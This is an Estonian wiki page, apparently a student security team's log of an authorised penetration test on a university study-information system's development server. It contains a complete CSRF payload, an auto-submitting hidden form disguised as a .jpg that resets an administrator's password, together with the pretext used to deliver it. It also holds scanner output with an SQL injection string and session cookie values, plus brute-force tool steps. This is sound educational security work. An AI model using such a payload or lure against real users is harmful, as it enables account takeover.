Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47007</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47007"/>
		<updated>2012-03-30T09:29:49Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 1. päev - Materjalidga tutvumine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
